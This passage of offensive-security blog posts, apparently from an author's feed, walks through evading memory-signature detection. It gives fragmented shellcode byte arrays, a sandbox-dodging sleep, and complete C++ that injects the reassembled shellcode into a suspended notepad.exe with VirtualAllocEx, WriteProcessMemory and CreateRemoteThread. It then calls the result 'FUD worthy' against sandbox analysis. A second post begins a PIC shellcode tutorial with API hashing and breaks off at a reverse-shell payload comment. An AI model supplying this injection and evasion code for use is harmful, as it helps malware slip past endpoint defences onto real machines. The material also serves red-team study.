<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode29</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x75</span><span class="p">,</span><span class="mh">0x73</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0x72</span><span class="p">,</span><span class="mh">0x33</span><span class="p">,</span><span class="mh">0x32</span><span class="p">,</span><span class="mh">0x2e</span><span class="p">,</span><span class="mh">0x64</span><span class="p">,</span><span class="mh">0x6c</span><span class="p">,</span><span class="mh">0x6c</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x59</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode30</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x41</span><span class="p">,</span><span class="mh">0xba</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x77</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode31</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x26</span><span class="p">,</span><span class="mh">0x07</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xd5</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0xc7</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0xe8</span><span class="p">,</span><span class="mh">0x0a</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode32</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x67</span><span class="p">,</span><span class="mh">0x33</span><span class="p">,</span><span class="mh">0x74</span><span class="p">,</span><span class="mh">0x73</span><span class="p">,</span><span class="mh">0x79</span><span class="p">,</span><span class="mh">0x73</span><span class="p">,</span><span class="mh">0x74</span><span class="p">,</span><span class="mh">0x33</span><span class="p">,</span><span class="mh">0x6d</span><span class="p">,</span><span class="mh">0x00</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode33</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x5a</span><span class="p">,</span><span class="mh">0xe8</span><span class="p">,</span><span class="mh">0x0b</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0x73</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode34</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x73</span><span class="p">,</span><span class="mh">0x61</span><span class="p">,</span><span class="mh">0x67</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0x42</span><span class="p">,</span><span class="mh">0x6f</span><span class="p">,</span><span class="mh">0x78</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode35</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x00</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x58</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode36</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xba</span><span class="p">,</span><span class="mh">0x45</span><span class="p">,</span><span class="mh">0x83</span><span class="p">,</span><span class="mh">0x56</span><span class="p">,</span><span class="mh">0x07</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xd5</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode37</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xba</span><span class="p">,</span><span class="mh">0xf0</span><span class="p">,</span><span class="mh">0xb5</span><span class="p">,</span><span class="mh">0xa2</span><span class="p">,</span><span class="mh">0x56</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xd5</span> <span class="p">};</span>

<span class="c1">// Array of shellcode chunks</span>
<span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span> <span class="n">shellcodeChunks</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
    <span class="n">shellcode1</span><span class="p">,</span> <span class="n">shellcode2</span><span class="p">,</span> <span class="n">shellcode3</span><span class="p">,</span> <span class="n">shellcode4</span><span class="p">,</span> <span class="n">shellcode5</span><span class="p">,</span> <span class="n">shellcode6</span><span class="p">,</span> <span class="n">shellcode7</span><span class="p">,</span>
    <span class="n">shellcode8</span><span class="p">,</span> <span class="n">shellcode9</span><span class="p">,</span> <span class="n">shellcode10</span><span class="p">,</span> <span class="n">shellcode11</span><span class="p">,</span> <span class="n">shellcode12</span><span class="p">,</span> <span class="n">shellcode13</span><span class="p">,</span> <span class="n">shellcode14</span><span class="p">,</span>
    <span class="n">shellcode15</span><span class="p">,</span> <span class="n">shellcode16</span><span class="p">,</span> <span class="n">shellcode17</span><span class="p">,</span> <span class="n">shellcode18</span><span class="p">,</span> <span class="n">shellcode19</span><span class="p">,</span> <span class="n">shellcode20</span><span class="p">,</span> <span class="n">shellcode21</span><span class="p">,</span>
    <span class="n">shellcode22</span><span class="p">,</span> <span class="n">shellcode23</span><span class="p">,</span> <span class="n">shellcode24</span><span class="p">,</span> <span class="n">shellcode25</span><span class="p">,</span> <span class="n">shellcode26</span><span class="p">,</span> <span class="n">shellcode27</span><span class="p">,</span> <span class="n">shellcode28</span><span class="p">,</span>
    <span class="n">shellcode29</span><span class="p">,</span> <span class="n">shellcode30</span><span class="p">,</span> <span class="n">shellcode31</span><span class="p">,</span> <span class="n">shellcode32</span><span class="p">,</span> <span class="n">shellcode33</span><span class="p">,</span> <span class="n">shellcode34</span><span class="p">,</span> <span class="n">shellcode35</span><span class="p">,</span>
    <span class="n">shellcode36</span><span class="p">,</span> <span class="n">shellcode37</span>
<span class="p">};</span>

<span class="c1">// Corresponding sizes</span>
<span class="n">SIZE_T</span> <span class="n">shellcodeSizes</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
    <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode1</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode2</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode3</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode4</span><span class="p">),</span>
    <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode5</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode6</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode7</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode8</span><span class="p">),</span>
    <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode9</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode10</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode11</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode12</span><span class="p">),</span>
    <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode13</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode14</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode15</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode16</span><span class="p">),</span>
    <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode17</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode18</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode19</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode20</span><span class="p">),</span>
    <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode21</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode22</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode23</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode24</span><span class="p">),</span>
    <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode25</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode26</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode27</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode28</span><span class="p">),</span>
    <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode29</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode30</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode31</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode32</span><span class="p">),</span>
    <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode33</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode34</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode35</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode36</span><span class="p">),</span>
    <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode37</span><span class="p">)</span>
<span class="p">};</span>

<span class="c1">//End of python generated code</span>
<span class="c1">//=====================================================================================================</span>

 <span class="c1">// Seed random</span>
 <span class="n">srand</span><span class="p">((</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">time</span><span class="p">(</span><span class="nb">NULL</span><span class="p">));</span>

 <span class="c1">// Initial delay to mimic dormant behavior</span>
 <span class="n">std</span><span class="o">::</span><span class="n">this_thread</span><span class="o">::</span><span class="n">sleep_for</span><span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">chrono</span><span class="o">::</span><span class="n">milliseconds</span><span class="p">(</span><span class="mi">10000</span><span class="p">));</span>

 <span class="c1">// Auto-calculate number of chunks</span>
 <span class="k">constexpr</span> <span class="kt">size_t</span> <span class="n">numChunks</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcodeChunks</span><span class="p">)</span> <span class="o">/</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcodeChunks</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
</code></pre></div></div>

<p>Let’s pause here for a sec so I can explain what’s happening.  I’m initializing a random seed value to be used throughout the remainder of our code.  We will not use it just yet, but in due time we will I assure you.  Next up, I calculate the amount of shellcode chunks we generated earlier via our python script.  The final count in my case is <code class="language-plaintext highlighter-rouge">33</code>, and that value will get stored in the shellcodesize variable.  Lastly, we sleep for 10 seconds to try and deter any unwanted initial virtualized analysis of our code.</p>

<p>Continuing on!  In the next section of our code, we simply print the shellcode total bytes, and then spawn Notepad in a suspended state to inject into later.  Pretty straightforward 👍</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Calculate total size</span>
<span class="n">SIZE_T</span> <span class="n">totalSize</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">numChunks</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">totalSize</span> <span class="o">+=</span> <span class="n">shellcodeSizes</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
<span class="p">}</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Total shellcode size: %zu bytes</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">totalSize</span><span class="p">);</span>

<span class="c1">// Create suspended notepad.exe</span>
<span class="n">STARTUPINFO</span> <span class="n">si</span> <span class="o">=</span> <span class="p">{</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">si</span><span class="p">)</span> <span class="p">};</span>
<span class="n">PROCESS_INFORMATION</span> <span class="n">pi</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">CreateProcess</span><span class="p">(</span><span class="s">L"C:</span><span class="se">\\</span><span class="s">Windows</span><span class="se">\\</span><span class="s">System32</span><span class="se">\\</span><span class="s">notepad.exe"</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span>
    <span class="n">CREATE_SUSPENDED</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">si</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pi</span><span class="p">))</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"[-] CreateProcess failed: %lu</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>
    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Notepad spawned (PID: %lu)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">pi</span><span class="p">.</span><span class="n">dwProcessId</span><span class="p">);</span>
</code></pre></div></div>

<p>Now, let’s reassemble our shellcode and allocate + write our shellcode chunks into their own unique memory region 😸 I set a minimum delay of <code class="language-plaintext highlighter-rouge">50</code> milliseconds and maximum delay of <code class="language-plaintext highlighter-rouge">850</code> milliseconds, respectively.</p>

<h2 id="reassembling-the-shellcode-chunks">Reassembling the Shellcode Chunks</h2>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Allocate final executable memory region</span>
<span class="n">LPVOID</span> <span class="n">remoteBase</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">totalSize</span><span class="p">,</span>
    <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">remoteBase</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"[-] VirtualAllocEx failed: %lu</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>
    <span class="n">TerminateProcess</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">);</span> <span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hThread</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Allocated RWX memory at: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">remoteBase</span><span class="p">);</span>

<span class="c1">// Staged write: write each chunk directly into final region with random delays</span>
<span class="n">SIZE_T</span> <span class="n">offset</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">numChunks</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">int</span> <span class="n">delayMs</span> <span class="o">=</span> <span class="mi">50</span> <span class="o">+</span> <span class="p">(</span><span class="n">rand</span><span class="p">()</span> <span class="o">%</span> <span class="mi">801</span><span class="p">);</span>  <span class="c1">// 50-850ms</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"[*] Waiting %d ms before writing chunk %zu...</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">delayMs</span><span class="p">,</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
    <span class="n">std</span><span class="o">::</span><span class="n">this_thread</span><span class="o">::</span><span class="n">sleep_for</span><span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">chrono</span><span class="o">::</span><span class="n">milliseconds</span><span class="p">(</span><span class="n">delayMs</span><span class="p">));</span>

    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="p">(</span><span class="n">BYTE</span><span class="o">*</span><span class="p">)</span><span class="n">remoteBase</span> <span class="o">+</span> <span class="n">offset</span><span class="p">,</span>
        <span class="n">shellcodeChunks</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">shellcodeSizes</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="nb">NULL</span><span class="p">))</span> <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"[-] WriteProcessMemory failed at chunk %zu: %lu</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>
        <span class="n">VirtualFreeEx</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">remoteBase</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">MEM_RELEASE</span><span class="p">);</span>
        <span class="n">TerminateProcess</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
        <span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">);</span> <span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hThread</span><span class="p">);</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"[+] Wrote chunk % zu(% zu bytes) -&gt; % p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">shellcodeSizes</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="p">(</span><span class="n">BYTE</span><span class="o">*</span><span class="p">)</span><span class="n">remoteBase</span> <span class="o">+</span> <span class="n">offset</span><span class="p">);</span>
    <span class="n">offset</span> <span class="o">+=</span> <span class="n">shellcodeSizes</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
<span class="p">}</span>

<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Shellcode fully reassembled at %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">remoteBase</span><span class="p">);</span>
</code></pre></div></div>

<p>Now for the fun part!  It’s time we create a remote thread to point to our new memory region that holds our now reassembled shellcode and unsuspend the notepad process to bring everything full circle 😺</p>

<h2 id="unsuspend-notepad-and-execute-our-shellcode">Unsuspend Notepad and Execute our Shellcode!</h2>

<p>This part is fairly self explanatory.  We just create a remote thread that points to our now reassembled shellcode memory location, unsuspend notepad, and execute!</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>     <span class="c1">// Execute</span>
    <span class="n">HANDLE</span> <span class="n">hThread</span> <span class="o">=</span> <span class="n">CreateRemoteThread</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span>
        <span class="p">(</span><span class="n">LPTHREAD_START_ROUTINE</span><span class="p">)</span><span class="n">remoteBase</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">hThread</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"[-] CreateRemoteThread failed: %lu</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>
        <span class="n">VirtualFreeEx</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">remoteBase</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">MEM_RELEASE</span><span class="p">);</span>
        <span class="n">TerminateProcess</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
        <span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">);</span> <span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hThread</span><span class="p">);</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">WaitForSingleObject</span><span class="p">(</span><span class="n">hThread</span><span class="p">,</span> <span class="n">INFINITE</span><span class="p">);</span>
    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hThread</span><span class="p">);</span>

    <span class="c1">// Resume notepad (optional — MessageBox will appear)</span>
    <span class="n">ResumeThread</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hThread</span><span class="p">);</span>

    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">);</span>
    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hThread</span><span class="p">);</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"[+] Execution complete. MessageBox should appear.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Bringing everything together, here’s how this looks during execution 😸</p>

<blockquote>
  <p><strong>Chunky Shellcode Execution Demo</strong></p>
</blockquote>

<iframe width="560" height="315" src="https://www.youtube.com/embed/8KE4hZMRBzw" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe>

<hr />

<blockquote>
  <p><strong>Full Source Code for Today’s Blog Post (Python + C++ code)</strong></p>
</blockquote>

<p><a href="https://github.com/g3tsyst3m/CodefromBlog/tree/main/2025-12-23-Evading%20Signature%20Based%20Memory%20Detection%20-%20Shellcode%20Fragmentation%20and%20Staged%20Reassembly">Source Code</a></p>

<h2 id="-bonus-content-for-subscribers-shellcode-scrambler-using-module-stomping">🔒 Bonus Content for Subscribers (Shellcode scrambler using Module Stomping!)</h2>

<blockquote>
  <p>Description: This code is similar to the code in the blog post but introduces another element to help stay under the radar: Module Stomping 😸</p>
</blockquote>

<p>🗒️ <a href="https://ko-fi.com/s/0eec6f9eb3">Access Exclusive Code Here</a> 🗒️</p>

<h2 id="anyrun-results"><strong><em>ANY.RUN Results</em></strong></h2>

<p><a href="https://app.any.run/tasks/e69e472a-e11d-441d-a755-b11f61a25fdc">Full Sandbox Analysis</a></p>

<p><strong>FUD worthy</strong> 😺</p>

<p><img width="1537" height="656" alt="image" src="https://github.com/user-attachments/assets/4239c031-dca1-4649-9b9a-5cef1a0b8338" /></p>

<div style="text-align: right;">
Sponsored by:<br />
<img src="https://github.com/user-attachments/assets/111a0bb6-66e1-43b0-9a0a-5ce093f4b65e" alt="Sponsor logo" style="max-width: 200px;" />
</div>]]></content><author><name>R.B.C (g3tsyst3m)</name></author><category term="Shellcode fragmentation" /><category term="In-Memory Evasion" /><category term="Shellcode" /><category term="2025" /><category term="g3tsyst3m" /><category term="Evasion" /><category term="Fragmented Shellcode" /><category term="Shellcode fragmentation" /><category term="Staged shellcode" /><category term="in-memory evasion" /><category term="in-memory shellcode" /><category term="timed-attacks" /><summary type="html"><![CDATA[Hey everyone, and hope the holiday season is treating you well! 🎅🎄🎁 I’ve been sitting on this blog post for quite some time now and it’s high time I went ahead and make it public. This technique has been around for quite some time, but I feel it gets easily tossed into the attic, along with so many other techniques still viable in 2025 and beyond. Why? Because we all love novelty for one thing, and the latest and greatest offsec technique is always going to pique our interest. I get it, trust me. I love learning new things, I thrive on it. But I also like taking something old and re-inventing it so to speak. I got my start reinventing older code and techniques with UAC bypasses. There are so many that still work and remain undetected if you know how to tweak the code. In other words, why reinvent the wheel entirely when you can just reinvent some aspects to repurpose something that already works? EDR expects the novel techniques, but sometimes the tried and true techniques can be just as effective and quite unassuming, if you can adjust the heavily signatured nature of a given technique/payload artifact.]]></summary></entry><entry><title type="html">PIC Shellcode from the Ground up - Part 2</title><link href="https://g3tsyst3m.com/shellcode/pic/PIC-Shellcode-from-the-Ground-up-Part-2/" rel="alternate" type="text/html" title="PIC Shellcode from the Ground up - Part 2" /><published>2025-11-25T00:00:00+00:00</published><updated>2025-11-25T00:00:00+00:00</updated><id>https://g3tsyst3m.com/shellcode/pic/PIC%20Shellcode%20from%20the%20Ground%20up%20-%20Part%202</id><content type="html" xml:base="https://g3tsyst3m.com/shellcode/pic/PIC-Shellcode-from-the-Ground-up-Part-2/"><![CDATA[<p>Let’s <code class="language-plaintext highlighter-rouge">PIC</code> back up where we left off shall we? 😸 I gave you the framework for developing PIC friendly shellcode back in Part 1.  We went from the original code written in a high level language (C++), down to a pseudo low level representation of that C++ code.  I say pseudo low level because after our C++ code, we then used a combination of assembly and externs to locate the memory address of <code class="language-plaintext highlighter-rouge">HeapCreate</code> and <code class="language-plaintext highlighter-rouge">HeapAlloc</code>.  This is sort of like inputting a cheat code, since we don’t have to resort to walking the PE headers, specifically the PE export table, to locate our APIs.  However, this time around we will NOT be using externs.  We will be locating TEB/PEB, walking the familiar PE headers, and finding our APIs in question manually without help from externs.  We will also hash our APIs to make them easier to lookup and lower our static analysis footprint.  Let’s dive in!</p>

<h2 id="locating-ntdlldll">Locating NTDLL.DLL</h2>

<p>For this code exercise, we’re going to locate the base address for <code class="language-plaintext highlighter-rouge">NTDLL.DLL</code> instead of <code class="language-plaintext highlighter-rouge">KERNEL32.DLL</code></p>

<p>Why?  Because foolish me didn’t realize that <code class="language-plaintext highlighter-rouge">HeapAlloc</code> is just a stub in <code class="language-plaintext highlighter-rouge">Kernel32.dll</code> that is redirected/forwarded to <code class="language-plaintext highlighter-rouge">RtlAllocateHeap</code>, which is contained within the NTDLL library.  😆  So, all that we really needed to change was loading the NTDLL base address instead of the usual Kernel32 base address.  I’ll show you what that looks like now.  You’ll also see our shellcode at the start of the code too just FYI.  That hasn’t changed from the original assembly template we wrote back in <code class="language-plaintext highlighter-rouge">part 1</code>.</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">; nasm -fwin64 [x64findkernel32.asm]</span>
<span class="c1">; ld -m i386pep -N -o x64findkernel32.exe x64findkernel32.obj</span>
<span class="c1">; externs: ld -m i386pep -N -LC:\mingw64\x86_64-w64-mingw32\lib asmsock.obj -o asmsock.exe -lkernel32</span>
<span class="c1">; https://github.com/brechtsanders/winlibs_mingw/releases/download/14.2.0posix-19.1.1-12.0.0-ucrt-r2/winlibs-x86_64-posix-seh-gcc-14.2.0-llvm-19.1.1-mingw-w64ucrt-12.0.0-r2.zip</span>

<span class="k">BITS</span> <span class="mi">64</span>

<span class="nf">section</span> <span class="nv">.shellstuff</span> <span class="nv">rdata</span> <span class="nv">read</span>
<span class="c1">; shellcode for an x64 reverse shell, port 9001 / Localhost (127.0.0.1)</span>
<span class="nl">encoded_shellcode:</span>
